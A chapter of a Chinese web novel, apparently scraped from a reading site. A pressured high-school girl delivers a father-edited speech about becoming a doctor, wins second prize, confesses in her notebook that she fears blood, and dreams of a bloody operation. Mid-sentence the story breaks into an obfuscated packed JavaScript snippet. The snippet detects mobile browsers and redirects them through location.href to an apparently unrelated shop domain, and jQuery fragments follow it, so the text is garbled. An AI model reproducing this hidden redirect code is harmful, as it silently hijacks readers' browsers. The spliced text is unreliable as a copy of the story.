一月十五日，演讲比赛在市少年宫剧场举行。


    剧场很大，能坐八百人。


    猩红色的丝绒座椅一排排向后延伸，像某种巨大生物的腹腔。


    舞台很亮，聚光灯打在正中央，白得刺眼。


    我坐在后台的候场区，能听见前面选手的声音通过麦克风传过来，有些失真，像隔着水在听。


    “我的理想是成为一名航天工程师，为祖国的航天事业贡献力量……”


    “我希望将来能从事生物医药研究，攻克癌症，拯救生命……”


    “我想当一名人民教师，教书育人，桃李满天下……”


    每个声音都充满激情，每个词都铿锵有力。


    评委席偶尔传来翻动纸张的声音，还有笔在纸上划过的沙沙声。


    我的演讲稿在手里攥着，已经揉皱了。


    父亲改过的版本，我又重抄了一遍，字迹工整，没有一个错别字。


    现在它在我手里，像一块烧红的炭。


    “下面有请七号选手，市一中高二（一）班的沈断夏同学。她演讲的题目是：《白衣执甲，仁心筑梦》。”


    主持人念到我的名字，声音通过音响放大，在空旷的剧场里回荡。


    我站起来，腿有些软。


    候场区的灯光很暗，我看见镜子里的自己：穿着学校发的正装——白衬衫，深蓝色西装外套，黑色长裤，只是衬衫的领子有点紧，勒着脖子。


    走上舞台的台阶有三级，我一级一级走上去，脚步很轻，像踩在棉花上。


    聚光灯打在我身上，热烘烘的，能看见空气中飘浮的灰尘。


    舞台很大，我站在正中央，渺小得像一粒尘埃。


    台下黑压压的一片，能看见评委席，五个人，坐成一排，面无表情。


    能看见观众席，前排坐着各学校的老师，后排是学生代表。


    父亲坐在第三排，正中间的位置。


    他的脸在昏暗的光线里看不清楚，但我能感觉到他的目光，像两束激光，钉在我身上。


    我走到演讲台前，麦克风竖在那里，黑色的，细长的，像一条直立的蛇。


    我深吸一口气，把演讲稿摊开在台面上。


    纸张发出轻微的响声。


    “尊敬的各位评委，各位老师，亲爱的同学们，大家好。”


    声音从音响里传出来，有点陌生。


    这是我的声音吗？怎么听起来这么干，这么涩，像沙漠里龟裂的土地。


    “今天我演讲的题目是：《白衣执甲，仁心筑梦》。”


    我停顿了一下。剧场很安静，能听见空调出风口的嗡嗡声。


    台下有人在咳嗽，声音压得很低，但在寂静里格外清晰。


    “每个人都有自己的理想，有人想探索宇宙的奥秘，有人想破解生命的密码，有人想播种知识的种子，而我的理想，是成为一名医生，一名奋战在临床一线的白衣战士。”


    我抬起头，看向观众席。


    聚光灯太亮，台下的一切都淹没在黑暗里，只有一双双眼睛的反光，像夜里的萤火虫，密密麻麻。


    “这个理想，源于我对生命的敬畏……”


    演讲稿上的字在跳动，那些我亲手写下的字，现在变得陌生。


    它们排列成整齐的队列，每一个都方方正正，每一个都符合规范。


    有排比，有比喻，有引用，有升华。


    父亲改过的地方用红笔标着，我全都照抄了。


    “医生是生命的守护者，在手术台上，他们与时间赛跑；在病房里，他们与病魔抗争。我渴望成为他们中的一员，用我的双手，为患者驱散病痛，带来希望……”


    声音在剧场里回荡，我听见自己的声音，平稳，流畅，没有破音，没有停顿。


    像一台录音机在播放。


    评委席上，中间那个秃顶的评委点了点头。


    他在打分表上写着什么。


    “为了实现这个理想，我努力学习科学文化知识。我知道，要成为一名合格的医生，需要扎实的理论基础，需要精湛的临床技能，更需要一颗仁爱之心。因此，我不仅关注学习成绩，还积极参加社会实践活动，去年暑假，我在社区卫生服务中心担任志愿者，协助医生为居民测量血压，发放健康宣传资料。这段经历让我更加坚定了从医的信念……”


    确实都是真的，去年暑假我确实去了社区当志愿者，是学校组织的，每个人都得去。


    我站在服务台后面，给来量血压的老人递纸巾，发传单。


    传单上印着“高血压防治知识”，我发了一百多张，但没有一张是我看过的。


    “我深知，医学之路充满挑战，但我愿意迎接这些挑战，因为我心中有一个坚定的信念：用我所学，服务人民；以我所能，奉献社会，这不仅是我的理想，更是我们这一代青年的责任与担当……”


    稿子快念完了，最后一段是升华，要把个人理想和“中国梦”联系起来。


    父亲在边上批注：“此处要激昂，要振奋人心。”


    我深吸一口气，提高音量：


    “少年强则国强，我们新时代的青年，生逢其时，重任在肩，让我们将个人理想融入国家发展的洪流，以青春之我，奋斗之我，为实现中华民族伟大复兴的中国梦贡献自己的力量！”


    声音在剧场里回荡，最后一个字落下，余音慢慢消散。


    我站在那里，手心里全是汗。


    短暂的寂静。


    然后掌声响起来，先是零零星星的，然后连成一片。


    不算热烈，但足够礼貌。


    评委们也在鼓掌，中间那个秃顶的评委笑得最明显。


    我鞠躬，走下舞台。


    台阶还是三级，我一级一级走下去，脚步很稳。


    回到候场区，下一个选手已经等在那里了。


    是个男生，很高，很精神，一直在做深呼吸。


    他看了我一眼，点点头，我回以微笑。


    后台的灯光很暗，我找了个角落坐下。


    手还在抖，我用力握紧，指甲陷进掌心，有点疼。


    刚才的演讲像一场梦，我站在台上，说着那些话，但感觉像是在说别人的事。


    那些词——理想、信念、责任、担当——从我嘴里说出来，轻飘飘的，没有重量。


    窗外在下雨，冬天的雨，细细密密的，打在玻璃上，发出沙沙的声音。


    候场区有个小窗户，能看见外面湿漉漉的街道。


    行人撑着伞，匆匆走过，像一群移动的蘑菇。


    “沈断夏？”


    我抬起头。是周老师。


    她穿着正装，化了淡妆，看起来和平时不太一样。


    “讲得很好。”她在旁边坐下，“特别是结尾部分，很有感染力。”


    “谢谢老师。”


    “紧张吗？”


    “有点。”


    “正常，我第一次上台也紧张。”她笑了笑，眼角有细密的鱼尾纹，“你爸爸在观众席，他说很满意。”


    我点点头。


    “不过，”周老师顿了顿，“我更喜欢你作文里写的那种……真实。”


    我看着她，她的眼睛很温和，像冬日的暖阳。


    “有时候，真实比完美更重要。”她说，“记住这句话。”


    说完，她站起来，拍了拍我的肩膀，走向观众席那边。


    我坐在那里，看着她的背影消失在幕布后面。


    真实比完美更重要。


    窗户玻璃上，雨水汇成一条条细流，弯弯曲曲地往下淌。


    比赛结束了，颁奖环节，我得了二等奖。


    一等奖是那个想做航天工程师的男生，三等奖是一个想当外交官的女生。


    我们三个站在台上，手里捧着证书和奖杯。


    奖杯是水晶的，很沉，刻着“未来之星”四个字。


    闪光灯咔嚓咔嚓地响，晃得眼睛疼。


    父亲在台下拍照，他举着手机，脸上是少见的笑容，那笑容很陌生，像一张戴久了的面具，终于摘下来透了口气。


    颁奖结束，人群开始散去。


    我抱着奖杯和证书，走到父亲身边。


    “讲得很好。”他说，声音里带着难得的赞许，“特别是最后一段，很有气势。”


    “谢谢。”


    “二等奖也不错，自主招生的时候能加分。”


    我们往外走，剧场外的走廊很长，两边挂着一排排镜框，里面是历届演讲比赛获奖者的照片。


    黑白照，彩色照，从八十年代到现在。


    照片里的人都在笑，笑得标准，笑得灿烂。


    他们的理想都实现了吗？他们现在在哪里？


    走到门口时，雨小了。


    天空是铅灰色的，很低，像要压下来。


    地上湿漉漉的，映出路灯的光，一圈一圈的，像碎了的月亮。


    “你妈妈在家做了饭，庆祝一下。”父亲说。


    “嗯。”


    我们走向停车场。


    车灯亮起，在湿漉漉的地面上投出两道长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218420|197464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长的光柱。


    车上很安静。


    父亲开了收音机，是交通广播，主播在说路况。


    某某路段拥堵，某某路段事故，请绕行。


    我拿着奖杯，水晶凉凉的，贴着皮肤。


    证书卷成筒，用红色的丝带系着，我解开丝带，摊开证书。上面写着我的名字，二等奖，“特发此证，以资鼓励”。


    字是打印的，很工整，也很没有个性。


    车窗外的街景在流动，商店，行人，车辆，红绿灯。


    一切都蒙着一层水汽，模糊不清。


    “对了，”父亲忽然说，“期末考试要到了，演讲比赛结束了，该收心学习了。”


    “嗯。”


    “这次期末考试很重要，关系到下学期的分班。”


    “我知道。”


    车在红灯前停下，人行道上，一个母亲牵着孩子的手在等绿灯。


    孩子很小，三四岁的样子，穿着黄色的雨衣，像一只小鸭子。


    他指着天空，在说什么，母亲弯下腰，认真地听着。


    绿灯亮了，车启动。


    那个画面被甩在后面，越来越小，最后消失在车流里。


    回到家时，母亲已经做好了一桌子菜，糖醋排骨，清蒸鱼，蚝油生菜，西红柿蛋汤。


    都是我爱吃的，或者说是以前爱吃的。


    “恭喜我们的小演说家。”母亲笑着，接过我手里的奖杯和证书，小心地摆在客厅的展示柜里。


    那里已经摆了很多东西：小学的“三好学生”奖状，初中的数学竞赛证书，高一的优秀学生干部奖牌，现在又多了一个水晶奖杯。


    奖杯放在最中间的位置，灯光照在上面，反射出细碎的光。


    吃饭时，父亲的心情很好。


    他开了瓶红酒，给自己倒了一杯，也给母亲倒了一点。


    “来，为我们断夏的成功干杯。”他举起酒杯。


    玻璃杯碰在一起，发出清脆的响声。


    红酒在杯子里晃动，像血。


    “今天你们学校的李老师也给我打电话了，说讲得很好。”父亲说，“他说以你的实力，期末考进年级前二十没问题。”


    “我会努力的。”我说。


    “不是努力，是一定要做到。”父亲放下酒杯，“下学期分班，一定要进重点班，进了重点班，考上985的几率才大。”


    985，211。


    它们像咒语，念一次，就能让未来清晰一点。


    “我知道。”我说。


    晚饭后，我回到房间。


    书桌上堆着新的复习资料。期末考试倒计时：5天。


    我坐下，翻开数学错题本。


    窗外的天空完全黑了，雨又开始下，细细密密的，像无数根针，扎在玻璃上。


    我打开那个深蓝色的笔记本，又翻到新的一页。


    笔尖悬在纸上，写了一句话：


    “今天我站在台上，说我想当医生。”


    “但应该没有人知道，我最怕见血。”


    我停下笔，看着这句话。


    它躺在空白的纸页上，很小，很刺眼，也很讽刺。


    我合上笔记本，这回没有放回抽屉，就放在书桌上，和那些复习资料摆在一起。


    深蓝色的封面在一堆白色试卷里格外显眼，像深海的一角。


    雨下大了，敲在窗户上，噼啪作响。


    我躺下，闭上眼睛。


    脑子里还在回响今天演讲的声音，那些铿锵有力的词句，那些激昂的语调。


    那些话是真的吗？我想当医生吗？


    也许是真的，也许不是。


    只是，当我说出那些话的时候，台下的人在鼓掌，评委在点头，父亲在笑。


    仅此而已，这就够了。


    远处传来雷声，沉闷的，滚滚的，像有什么东西在天上翻滚。


    雨更急了，像天空在哭，在咆哮，想要把所有的委屈都倾倒下来。


    我在雨声里睡着了。


    梦里，我站在手术台上，穿着白大褂，手里拿着手术刀。


    面前躺着一个人，看不清脸，但应该是个纤瘦的小姑娘。


    我举起刀，划下去，血涌出来，鲜红的，温热的，流了一地。


    但我没有停，一刀，又一刀。


    血越来越多，漫过脚面，漫过膝盖，漫过腰。


    我还在划。


    最后，血淹没了整个手术室。我漂浮在血海里，手里还握着刀。


    我可能也疯了吧。